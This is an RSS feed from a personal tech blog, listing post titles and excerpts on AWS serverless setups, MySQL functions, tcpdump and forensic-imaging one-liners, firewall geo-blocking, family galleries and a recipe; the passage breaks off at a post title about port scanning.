<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Mark&#39;s Blargh</title>
    <link>https://www.control-alt-del.org/</link>
    <description>Recent content on Mark&#39;s Blargh</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Mon, 31 May 2021 10:20:16 -0400</lastBuildDate>
    
	<atom:link href="https://www.control-alt-del.org/index.xml" rel="self" type="application/rss+xml" />
    
    
    <item>
      <title>Flow vs. Impedance vs. Sabotage</title>
      <link>https://www.control-alt-del.org/posts/flow-vs-sabotage/</link>
      <pubDate>Mon, 31 May 2021 10:20:16 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/flow-vs-sabotage/</guid>
      <description>Flow is impacted by many different factors, but the topics I&#39;d like to touch on are communication, process, and culture.
Communication In 1968, Conway observed: &amp;quot;Organizations which design systems are constrained to produce designs which are copies of the communication structures of these organizations.&amp;quot; This is known as Conway’s law. Worded a bit differently: Organizations which design processes are constrained to produce a process flow which is a copy of the communication structures between departments.</description>
    </item>
    
    <item>
      <title>2020</title>
      <link>https://www.control-alt-del.org/posts/2020/</link>
      <pubDate>Thu, 05 Nov 2020 10:50:37 -0500</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2020/</guid>
      <description>Bringing down the house...
 Awesome soccer skills...
  Boomy McBoomerangface
   Water fight
 Flippy Kimmy
  Aquadude
  Ferris wheel
 Stick figures
  Pictures!
 div.gallery { display: flex; flex-wrap: wrap; } div.gallery a { flex-grow: 1; object-fit: cover; margin: 2px; display: flex; } div.gallery a img { height: 200px; object-fit: cover; flex-grow: 1; }                                                                                                                                                   </description>
    </item>
    
    <item>
      <title>Farewell Google Play Music - A tale in three acts...</title>
      <link>https://www.control-alt-del.org/posts/farewell-google-play-music-a-tale-in-three-acts/</link>
      <pubDate>Wed, 04 Nov 2020 22:23:20 -0500</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/farewell-google-play-music-a-tale-in-three-acts/</guid>
      <description>Prologue: The death of a beloved friend... I&#39;ve been an avid fan of Google Play Music for several years now, and when I heard it was being shutdown I was quite sad. It did exactly what I wanted, namely provide a way for me to easily stream my music collection and buy new tunes.
I grew up buying physical things (first cassettes, then CDs), and the idea of renting my music collection never sat well with me.</description>
    </item>
    
    <item>
      <title>Spring Boot/React - FullStack Project Template/Tutorial</title>
      <link>https://www.control-alt-del.org/posts/spring-boot-react-fullstack-project-template-tutorial/</link>
      <pubDate>Sun, 12 Apr 2020 15:58:27 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/spring-boot-react-fullstack-project-template-tutorial/</guid>
      <description>Here&#39;s a Spring Boot project template/tutorial that I&#39;ve put together to try to get some best practices codified on how to quickly throw together a service.
Full code here for the impatient: https://github.com/marksteele/SpringBootReactFullStackSample
Here&#39;s what it&#39;ll look like when we&#39;re done (note my amazing front-end skills)
We&#39;ll cover: REST endpoints, scheduled tasks, thread-pools to parallelize work, React, MySQL, 12-factor app best practices, OAuth2 (google), monitoring, unit testing, code coverage, project mess detection, spotbugs, DevOps and more!</description>
    </item>
    
    <item>
      <title>Parsing SFTP logs with Cloudwatch log Insights</title>
      <link>https://www.control-alt-del.org/posts/parsing-sftp-logs-with-cloudwatch-log-insights/</link>
      <pubDate>Tue, 11 Feb 2020 10:32:18 -0500</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/parsing-sftp-logs-with-cloudwatch-log-insights/</guid>
      <description>This is a bit painful, but here it is:
filter @message like /OPEN/ | parse @message /^(?&amp;lt;logstream&amp;gt;\S+)\s(?&amp;lt;Action&amp;gt;\S+)(\s(SourceIP=(?&amp;lt;SourceIP&amp;gt;\S+)\sUser=(?&amp;lt;User&amp;gt;\S+)\sHomeDir=(?&amp;lt;HomeDir&amp;gt;\S+)\sClient=(?&amp;lt;Client&amp;gt;(&amp;quot;[^&amp;quot;]+?&amp;quot;|\S+))\sRole=.*|Path=(?&amp;lt;Path&amp;gt;\S+)\s((BytesIn=(?&amp;lt;BytesIn&amp;gt;\S+)|BytesOut=(?&amp;lt;BytesOut&amp;gt;\S+)|Mode=(?&amp;lt;Mode&amp;gt;\S+))|NewPath=(?&amp;lt;NewPath&amp;gt;\S+))))?$/ | sort @timestamp asc | display @timestamp, logstream, Action, SourceIP, User, HomeDir, Client, Path, BytesIn, Mode,BytesOut, NewPath  You can remove the filter line in order to get all types of commands, or change the filter to narrow down your results.</description>
    </item>
    
    <item>
      <title>Pro-tip: grep through terminal history</title>
      <link>https://www.control-alt-del.org/posts/pro-tip-grep-through-terminal-history/</link>
      <pubDate>Wed, 23 Oct 2019 09:39:24 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/pro-tip-grep-through-terminal-history/</guid>
      <description>Might seem like a stupid little trick, but...
On a mac, if you want to grep your terminal scrollback (as opposed to using search).
command-a (select all), command-c (copy), then:
1  pbpaste | grep &amp;lt;WHAT YOU ARE LOOKING FOR&amp;gt;  </description>
    </item>
    
    <item>
      <title>Getting AWS IPs for a given region</title>
      <link>https://www.control-alt-del.org/posts/getting-aws-ips-for-a-given-region/</link>
      <pubDate>Mon, 03 Jun 2019 17:02:39 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/getting-aws-ips-for-a-given-region/</guid>
      <description>I keep forgetting this...
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r &#39;.prefixes\[] | select(.region==&amp;quot;ca-central-1&amp;quot;) | .ip_prefix&#39; | sort</description>
    </item>
    
    <item>
      <title>TKD - Mikey blue belt grading</title>
      <link>https://www.control-alt-del.org/posts/tkd-mikey-blue-belt-grading/</link>
      <pubDate>Sat, 01 Jun 2019 14:49:05 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/tkd-mikey-blue-belt-grading/</guid>
      <description> Preparation  2-on-1 Sparring  Board breaking  </description>
    </item>
    
    <item>
      <title>Building an image gallery for Hugo</title>
      <link>https://www.control-alt-del.org/posts/building-an-image-gallery-for-hugo/</link>
      <pubDate>Sat, 09 Feb 2019 21:40:11 -0500</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/building-an-image-gallery-for-hugo/</guid>
      <description>&lt;h1 id=&#34;a-quick-image-gallery-for-hugo&#34;&gt;A quick image gallery for Hugo&lt;/h1&gt;</description>
    </item>
    
    <item>
      <title>String set manipulation functions for MySQL</title>
      <link>https://www.control-alt-del.org/posts/string-set-manipulation-functions-for-mysql/</link>
      <pubDate>Thu, 11 Oct 2018 10:10:05 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/string-set-manipulation-functions-for-mysql/</guid>
      <description>While I really don&#39;t advise using comma-separated values inside text columns, sometimes you inherit things...
Here&#39;s a way to check for set inclusion and how to manipulate those sets using SQL functions.
drop function if exists IN_SET; drop function if exists ADD_TO_SET; drop function if exists REMOVE_FROM_SET; DELIMITER // CREATE FUNCTION IN_SET( $str TEXT, $strlist TEXT ) RETURNS BOOL DETERMINISTIC BEGIN DECLARE inset INT DEFAULT 0; SET inset = (SELECT FIND_IN_SET($str, $strlist)); RETURN (!</description>
    </item>
    
    <item>
      <title>Summer 2018</title>
      <link>https://www.control-alt-del.org/posts/summer-2018/</link>
      <pubDate>Tue, 02 Oct 2018 22:49:29 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/summer-2018/</guid>
      <description></description>
    </item>
    
    <item>
      <title>One-time password sharing... securely!</title>
      <link>https://www.control-alt-del.org/posts/one-time-password-sharing-securely/</link>
      <pubDate>Sat, 08 Sep 2018 21:56:19 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/one-time-password-sharing-securely/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://www.control-alt-del.org/images/self-destruct.jpg&#34; alt=&#34;null&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Need to send a friend a password for something? Don&#39;t trust that the man might be reading your emails and SMS messages? Here&#39;s how to setup your own service to share secrets.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Look &#39;Ma, no training wheels...</title>
      <link>https://www.control-alt-del.org/posts/look-ma-no-training-wheels/</link>
      <pubDate>Thu, 14 Jun 2018 22:07:37 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/look-ma-no-training-wheels/</guid>
      <description>  </description>
    </item>
    
    <item>
      <title>3d Printing Safety - Fire detection relay</title>
      <link>https://www.control-alt-del.org/posts/3d-printing-safety-fire-detection-relay/</link>
      <pubDate>Wed, 30 May 2018 22:19:19 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/3d-printing-safety-fire-detection-relay/</guid>
      <description>&lt;h2 id=&#34;3d-printing-safety-fire-detection-relay&#34;&gt;3d Printing Safety - Fire detection relay&lt;/h2&gt;

&lt;p&gt;I&#39;ve been doing some 3d printing lately, and I have some thoughts to share about security and safety.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.control-alt-del.org/images/this-is-fine.0.jpg&#34; alt=&#34;This is fine&#34; /&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Envelope encryption in Lambda functions with DynamoDB and KMS</title>
      <link>https://www.control-alt-del.org/posts/envelope-encryption-in-lambda-functions-with-dynamodb-and-kms/</link>
      <pubDate>Thu, 03 May 2018 10:44:37 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/envelope-encryption-in-lambda-functions-with-dynamodb-and-kms/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://www.control-alt-del.org/images/envelope-encryption.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Here&#39;s a quick code snippet on how to implement field level encryption of data stored in DynamoDB using per-record encryption keys and the AWS Key management store (KMS).&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Serverless content security policy</title>
      <link>https://www.control-alt-del.org/posts/serverless-content-security-policy/</link>
      <pubDate>Fri, 27 Apr 2018 11:40:02 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/serverless-content-security-policy/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://www.control-alt-del.org/images/csp_shield_logo.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Add content security policy (CSP) to your site without changing your backends (or when you don&#39;t have backends and are using static site origins). Here&#39;s how!&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Invalidate CloudFront with Lambda</title>
      <link>https://www.control-alt-del.org/posts/invalidate-cloudfront-with-lambda/</link>
      <pubDate>Thu, 26 Apr 2018 13:48:12 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/invalidate-cloudfront-with-lambda/</guid>
      <description>I&#39;ve written a little Serverless app that uses API Gateway and Lambda to expose an API to invalidate a CloudFront distribution.
Handy to have something like this in a build pipeline.
Code here</description>
    </item>
    
    <item>
      <title>Programatically associating Lambda@Edge with a CloudFront distribution</title>
      <link>https://www.control-alt-del.org/posts/programatically-associating-lambda-edge-with-a-cloudfront-distribution/</link>
      <pubDate>Thu, 26 Apr 2018 12:10:31 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/programatically-associating-lambda-edge-with-a-cloudfront-distribution/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/marksteele/lambdaAtEdgeToCloudFront&#34;&gt;Here&#39;s a little script &lt;/a&gt;which can be used to programatically associate Lambda@Edge functions with CloudFront.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.control-alt-del.org/images/lambda-cf.png&#34; alt=&#34;null&#34; /&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Serverless blog HOWTO</title>
      <link>https://www.control-alt-del.org/posts/serverless-blog-howto/</link>
      <pubDate>Sun, 22 Apr 2018 12:36:25 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/serverless-blog-howto/</guid>
      <description>&lt;h1 id=&#34;serverless-content-management&#34;&gt;Serverless content management&lt;/h1&gt;

&lt;p&gt;In this post, I will go over how to setup a completely serverless blog that runs with no servers and is for all intents and purposes free to run!&lt;/p&gt;

&lt;p&gt;It leverages static content generation, will be served from a content delivery network, and has a browser based UI for managing content with a review/approval workflow.&lt;/p&gt;

&lt;p&gt;It&#39;s also highly secure, as there is virtually no attack surface for the bad guys to get a hold of.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.control-alt-del.org/images/serverlessblog.png&#34; alt=&#34;null&#34; /&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Bash Tips</title>
      <link>https://www.control-alt-del.org/posts/bash-tips/</link>
      <pubDate>Mon, 09 Apr 2018 13:50:47 -0400</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/bash-tips/</guid>
      <description>&lt;p&gt;Some odds and ends...&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>building a serverless analytics platform at lolscale</title>
      <link>https://www.control-alt-del.org/posts/building-a-serverless-analytics-platform-at-lolscale/</link>
      <pubDate>Wed, 04 Apr 2018 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/building-a-serverless-analytics-platform-at-lolscale/</guid>
      <description>&lt;h1 id=&#34;hundreds-of-millions-of-events-per-month-on-the-cheap&#34;&gt;Hundreds of millions of events per month on the cheap&lt;/h1&gt;

&lt;p&gt;In this post, I&#39;m going to go over the setup of infrastructure for creating an analytics platform capable of handling hundreds of millions of events per month. All without spinning up a single server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.control-alt-del.org/images/Serverless-Analytics.png&#34; alt=&#34;Serverless Analytics&#34; /&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>benchmarking cinched</title>
      <link>https://www.control-alt-del.org/posts/2016/02/12/benchmarking-cinched/</link>
      <pubDate>Fri, 12 Feb 2016 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2016/02/12/benchmarking-cinched/</guid>
      <description>Now that a first version was cut, it seemed like a good time to start looking at how Cinched performs.
And I must say, things are looking good so far...
Test setup 3 nodes in the Cinched cluster (each 4 vCPUs 4GB RAM)
1 node running the test harness (4 vCPUs, 4GB RAM).
My testing environment is extremely unreliable (VMs running in an overprovisioned cloud environment) so it&#39;s been hard to get an extremely clear picture.</description>
    </item>
    
    <item>
      <title>introducing cinched</title>
      <link>https://www.control-alt-del.org/posts/2016/02/04/introducing-cinched/</link>
      <pubDate>Thu, 04 Feb 2016 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2016/02/04/introducing-cinched/</guid>
      <description>Given the frequency of rather embarrassing data breaches recently, I&#39;ve had the opportunity to spend some time thinking about how to help developers protect the data they are storing.
Getting encryption right is hard, and designing cryptographic applications is not something web developers typically have lots of experience with. To (hopefully) help bridge this knowledge gap, I&#39;ve written a microservice which provides encryption and key management services.
It&#39;s a cinch to use, and will keep your data cinched.</description>
    </item>
    
    <item>
      <title>setting up a ca</title>
      <link>https://www.control-alt-del.org/posts/2016/01/30/setting-up-a-ca/</link>
      <pubDate>Sat, 30 Jan 2016 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2016/01/30/setting-up-a-ca/</guid>
      <description>Tired of creating your CA using openssl command line tools? Here&#39;s a whirlwind crash course on creating a functional web-based CA in a couple of minutes.
Preparation I&#39;m assuming you&#39;re running CentOS 7, because that&#39;s what I&#39;m using. Also, the code is redhat-ish in that it&#39;s in the Fedora/RHEL pipeline and not terribly friendly to other distros as far as packaging goes. Also, I happen to like CentOS.
We&#39;re going to be installing the Dogtag CA PKI solution.</description>
    </item>
    
    <item>
      <title>security advice for the average joe</title>
      <link>https://www.control-alt-del.org/posts/2015/11/13/security-advice-for-the-average-joe/</link>
      <pubDate>Fri, 13 Nov 2015 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2015/11/13/security-advice-for-the-average-joe/</guid>
      <description>Introduction A computer lets you make more mistakes faster than any invention in human history - with the possible exception of handguns and tequila. --Mitch Ratliff
The Internet has gone through a massive transformation since it&#39;s inception. From a tool used mostly by academics, it has come to be a pervasive tool used by just about everyone to communicate, shop, pay bills, invest, and entertain.
While the use cases never cease to increase, one aspect of Internet usage that is rather problematic is educating the public about the risks involved in living a connected life, and what are the ways people can defend against attacks.</description>
    </item>
    
    <item>
      <title>puppet lessons learned</title>
      <link>https://www.control-alt-del.org/posts/2015/04/13/puppet-lessons-learned/</link>
      <pubDate>Mon, 13 Apr 2015 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2015/04/13/puppet-lessons-learned/</guid>
      <description>Over the past couple of years my team has iterated several times on the proper way of managing systems using Puppet. For a while it was a gigantic time sink while we tested and prototyped several different appraoches to configuring things with many frustrating failures. This post will be an exploration of some of the lessons learned.
Lesson #1: Puppet is not deterministic Yup, that&#39;s right. The tool you&#39;re trying to use to get all your servers to a deterministic state isn&#39;t very deterministic in resolving that state.</description>
    </item>
    
    <item>
      <title>meshed vpn using tinc</title>
      <link>https://www.control-alt-del.org/posts/2015/03/19/meshed-vpn-using-tinc/</link>
      <pubDate>Thu, 19 Mar 2015 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2015/03/19/meshed-vpn-using-tinc/</guid>
      <description>Tinc is a neat little VPN daemon that I&#39;ve recently come across. It is surprisingly simple to configure yet powerful. In this post, I&#39;ll show you how to setup a meshed VPN between four nodes with one of the servers acting as a DHCP server.
In this fictitious scenario, let&#39;s assume the following nodes:
 dev is a CentOS cloud server with a fixed public IP address, we&#39;ll designate this one as our DHCP server</description>
    </item>
    
    <item>
      <title>geo blocking with iptables/ipset</title>
      <link>https://www.control-alt-del.org/posts/2015/02/13/geo-blocking-with-iptables-slash-ipset/</link>
      <pubDate>Fri, 13 Feb 2015 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2015/02/13/geo-blocking-with-iptables-slash-ipset/</guid>
      <description>In this post, I&#39;ll go over how to use iptables and ipset to create a basic firewall with ssh brute force protection and geo-blocking. I&#39;m assuming CentOS here, adjust paths/commands accordingly for other distributions.
Ipset is a tool to create and maintain IP sets in the Linux kernel. The advantage of using ipset over setting up a bunch of individual rules is one of CPU utilization. Ipset can handle thousands of entries without CPU degradation, wheras introducing thousands of rules in iptables will have a noticeable impact on packet processing speeds.</description>
    </item>
    
    <item>
      <title>Image gallery 2015</title>
      <link>https://www.control-alt-del.org/posts/gallery-2015/</link>
      <pubDate>Thu, 01 Jan 2015 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/gallery-2015/</guid>
      <description> div.gallery { display: flex; flex-wrap: wrap; } div.gallery a { flex-grow: 1; object-fit: cover; margin: 2px; display: flex; } div.gallery a img { height: 200px; object-fit: cover; flex-grow: 1; }                                                                           </description>
    </item>
    
    <item>
      <title>pdi bag of tricks...</title>
      <link>https://www.control-alt-del.org/posts/2014/01/20/pdi-bag-of-tricks-dot-dot-dot/</link>
      <pubDate>Mon, 20 Jan 2014 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2014/01/20/pdi-bag-of-tricks-dot-dot-dot/</guid>
      <description>&lt;p&gt;After using PDI for a while, you start to encounter some common problems. PDI crashes, databases die, connections get reset, all sorts of&lt;br /&gt;
interesting things can happen in complex systems.&lt;/p&gt;

&lt;p&gt;As a general rule, when building PDI jobs that should behave monotonically I always strive to find a way to make a job re-playable and&lt;br /&gt;
idempotent. This can be tricky given an unlimited input set over time.&lt;/p&gt;

&lt;p&gt;Probabilistic data structures to the rescue!&lt;/p&gt;

&lt;p&gt;To do this, at work we created a PDI bloom filter step (thanks &lt;a href=&#34;https://github.com/FabioBatSilva&#34;&gt;Fabio!&lt;/a&gt;). This article will go over how it works and it&#39;s use cases.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>unserializing php from pdi</title>
      <link>https://www.control-alt-del.org/posts/2014/01/10/unserializing-php-from-pdi/</link>
      <pubDate>Fri, 10 Jan 2014 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2014/01/10/unserializing-php-from-pdi/</guid>
      <description>&lt;p&gt;Here&#39;s a quick post that explains how to do something which may not be obvious.&lt;/p&gt;

&lt;p&gt;The scenario: You&#39;ve got some serialized data stored in a not-so-portable data interchange format (serialized PHP),&lt;br /&gt;
and would like the data to be made available as part of a PDI transformation.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>building a datawarehouse for testing</title>
      <link>https://www.control-alt-del.org/posts/2014/01/04/building-a-datawarehouse-for-testing/</link>
      <pubDate>Sat, 04 Jan 2014 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2014/01/04/building-a-datawarehouse-for-testing/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;

&lt;p&gt;A common problem when starting a new project is getting fixtures in place to facilitate testing of reporting functionality and refining data models. To ease this, I&#39;ve created a PDI job that creates the dimension tables, and populates a fact table.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>superdaddy</title>
      <link>https://www.control-alt-del.org/posts/2013/12/15/superdaddy/</link>
      <pubDate>Sun, 15 Dec 2013 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2013/12/15/superdaddy/</guid>
      <description></description>
    </item>
    
    <item>
      <title>tcpdump tip viewing a packet stream data payload</title>
      <link>https://www.control-alt-del.org/posts/2013/10/24/tcpdump-tip-viewing-a-packet-stream-data-payload/</link>
      <pubDate>Thu, 24 Oct 2013 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2013/10/24/tcpdump-tip-viewing-a-packet-stream-data-payload/</guid>
      <description>Here is an alias that I&#39;ve used often to view packet payloads using tcpdump which filters out all the overhead packets (just contains payloads).
I usually stick the following lines into my .bashrc on all the servers I install.
1 2 3  alias tcpdump_http=&amp;#34;tcpdump &amp;#39;tcp port 80 and (((ip[2:2] - ((ip[0]&amp;amp;0xf)&amp;lt;&amp;lt;2)) - ((tcp[12]&amp;amp;0xf0)&amp;gt;&amp;gt;2)) != 0)&amp;#39; -A -s0&amp;#34; alias tcpdump_http_inbound=&amp;#34;tcpdump &amp;#39;tcp dst port 80 and (((ip[2:2] - ((ip[0]&amp;amp;0xf)&amp;lt;&amp;lt;2)) - ((tcp[12]&amp;amp;0xf0)&amp;gt;&amp;gt;2)) !</description>
    </item>
    
    <item>
      <title>i see packets...</title>
      <link>https://www.control-alt-del.org/posts/2013/10/23/i-see-packets-dot-dot-dot/</link>
      <pubDate>Wed, 23 Oct 2013 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2013/10/23/i-see-packets-dot-dot-dot/</guid>
      <description>&lt;p&gt;While studying for the GCIA certification, I put together the following reference to be able to eyeball packets and see at a glance what&#39;s inside a hex packet dump.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>complex event processing to detect click fraud</title>
      <link>https://www.control-alt-del.org/posts/2013/10/19/complex-event-processing-to-detect-click-fraud/</link>
      <pubDate>Sat, 19 Oct 2013 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2013/10/19/complex-event-processing-to-detect-click-fraud/</guid>
      <description>&lt;p&gt;Here&#39;s another use-case for CEP: Detecting uniqueness over time. A use-case for this type of pattern is identifying click fraud.&lt;/p&gt;

&lt;p&gt;Once more, to see how to get everything up and running, see my previous posts.&lt;/p&gt;

&lt;p&gt;In our fictitious scenario, we&#39;re going to assume we want to see a stream of incoming data filtered to only output unique data given a subset of uniqueness over a 24 hour period.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>complex event processing for fun and profit part deux</title>
      <link>https://www.control-alt-del.org/posts/2013/06/15/complex-event-processing-for-fun-and-profit-part-deux/</link>
      <pubDate>Sat, 15 Jun 2013 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2013/06/15/complex-event-processing-for-fun-and-profit-part-deux/</guid>
      <description>&lt;p&gt;In the first instalment, we saw how to use simple moving average. That&#39;s just too easy.&lt;/p&gt;

&lt;p&gt;Let&#39;s do something more complex to see how things pan out.&lt;/p&gt;

&lt;p&gt;Refer to the previous instalment for details on how things are setup.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>complex event processing for fun and profit</title>
      <link>https://www.control-alt-del.org/posts/2013/06/10/complex-event-processing-for-fun-and-profit/</link>
      <pubDate>Mon, 10 Jun 2013 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2013/06/10/complex-event-processing-for-fun-and-profit/</guid>
      <description>&lt;p&gt;As an exercise to keep my mind nimble, here.s a write-up on how to use the power of computers to take over the world by out-foxing those slow moving meatbags who do stock trading and compete with skynet on making the most possible profit.&lt;/p&gt;

&lt;p&gt;The pieces of this puzzle are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A messaging backbone (we.ll use AMQP with the RabbitMQ broker)&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;A complex event processing engine (Esper)&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;A way to express our greed (EPL statements)&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;A software that ties this all together called new-hope (partially written by yours truly)&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;A feed of stock prices&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;An app to view the actions we must take.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>creating forensic images</title>
      <link>https://www.control-alt-del.org/posts/2013/04/04/creating-forensic-images/</link>
      <pubDate>Thu, 04 Apr 2013 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2013/04/04/creating-forensic-images/</guid>
      <description>Often reading big disks is a time consuming endeavor. To minimize the number of times you need to read the data, here&#39;s a tip for reading the image using dd, compressing it, and checksumming it.
1 2 3 4  dd if=/dev/sda | pv | tee &amp;gt;( md5sum &amp;gt; box.dd.md5 ) | \ tee &amp;gt;( sha1 &amp;gt; box.dd.sha1 ) | tee box.dd | gzip | \ tee box.dd.gz | tee &amp;gt;( md5sum &amp;gt;box.</description>
    </item>
    
    <item>
      <title>compressing mysql binary logs</title>
      <link>https://www.control-alt-del.org/posts/2013/01/14/compressing-mysql-binary-logs/</link>
      <pubDate>Mon, 14 Jan 2013 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2013/01/14/compressing-mysql-binary-logs/</guid>
      <description>&lt;p&gt;Under normal circumstances, master servers in a replication can be setup to automatically rotate binary logs using the expire_logs_days my.cnf configuration setting.&lt;/p&gt;

&lt;p&gt;However when it is known that slaves are in sync, it can be beneficial to pro-actively reduce on-disk size using compression. This can be especially useful in high-churn environments where binary logs grow quickly.&lt;/p&gt;

&lt;p&gt;Grab the script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;git clone git://github.com/marksteele/mysql-dba-tools.git&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>calculating distances between coordinates in sql</title>
      <link>https://www.control-alt-del.org/posts/2012/08/22/calculating-distances-between-coordinates-in-sql/</link>
      <pubDate>Wed, 22 Aug 2012 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2012/08/22/calculating-distances-between-coordinates-in-sql/</guid>
      <description>&lt;p&gt;The following stored functions can calculate the distance between two coordinates using a couple different approximation methods. The return value is in miles.&lt;/p&gt;

&lt;p&gt;Haversine approximation&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>splenda candied walnuts</title>
      <link>https://www.control-alt-del.org/posts/2012/02/04/splenda-candied-walnuts/</link>
      <pubDate>Sat, 04 Feb 2012 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2012/02/04/splenda-candied-walnuts/</guid>
      <description>Ingredients:
Enough walnuts to cover your baking sheet, let.s say 2 cups. About 3 cups of granulated Splenda Just enough allspice A good splash of vanilla extract 1 egg white Enough salt to make it salty (1/4 teaspoon maybe?) 2 tbsp melted butter  Beat the egg until it.s thoroughly beat, and no longer offers resistance. Throw in everything else, mix it around. Line your baking sheet with foil, spray with pam.</description>
    </item>
    
    <item>
      <title>building secure linux systems</title>
      <link>https://www.control-alt-del.org/posts/2011/12/14/building-secure-linux-systems/</link>
      <pubDate>Wed, 14 Dec 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/12/14/building-secure-linux-systems/</guid>
      <description>&lt;p&gt;In this post, I&#39;m going to be documenting the process that I&#39;m working on to build secure Linux systems.&lt;/p&gt;

&lt;p&gt;What I&#39;d like to have when I&#39;m done:&lt;br /&gt;
- Selinux is ON and enforcing&lt;br /&gt;
- Is certifiable to a set of reasonable standards&lt;br /&gt;
- Can be deployed in an automated fashion&lt;br /&gt;
- Supports remediation if flaws against known good state found&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>port scanning wihtout a port scanner</title>
